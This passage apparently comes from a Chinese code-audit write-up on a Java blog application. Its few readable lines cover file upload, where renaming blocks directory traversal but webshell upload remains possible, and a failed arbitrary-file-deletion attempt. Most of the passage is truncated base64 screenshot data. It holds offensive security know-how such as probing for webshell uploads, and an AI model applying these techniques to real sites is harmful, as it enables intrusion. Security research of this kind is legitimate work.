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 truncated
|
||||
调用<code>uploadAttachment</code>方法<br>
|
||||
<a id=img18 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707819724189-01b32ba7-e58d-4cda-b4ac-569bf967e464.png#averageHue=%23202226&clientId=u7eb54710-2f09-4&from=paste&height=756&id=u53c237e1&originHeight=1134&originWidth=1674&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=277714&status=done&style=none&taskId=u8839ae06-2629-4428-8550-b77beda8e9a&title=&width=1116"><img src="data:image/png;base64,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 truncated
|
||||
主要对上传文件进行了重命名和获取后缀,也就是无法通过<code>../</code>进行目录穿越,只能上传webshell,但是此blog不解析jsp</p>
|
||||
<h1 id=toc-3>失败的任意文件删除</h1>
|
||||
<p><a id=img19 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707819901462-27e85fd9-2e49-47bf-bbf2-fe555d82dec9.png#averageHue=%23ebeef4&clientId=u7eb54710-2f09-4&from=paste&height=326&id=ueb814f87&originHeight=489&originWidth=1026&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=57914&status=done&style=none&taskId=u59e73fdb-071d-4552-aa8f-2fa3472e3af&title=&width=684"><img src="data:image/png;base64,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 truncated
|
||||
删除处通过上传的时候赋予的id进行删除操作,查看代码<br>
|
||||
<a id=img20 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707820017468-9e986821-bce8-4ab4-9454-25fb7a0522db.png#averageHue=%23202329&clientId=u7eb54710-2f09-4&from=paste&height=655&id=u0e50f2e9&originHeight=982&originWidth=1917&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=220961&status=done&style=none&taskId=u458d7df7-f7ce-4015-ac83-e929f7e4fd5&title=&width=1278"><img src="data:image/png;base64,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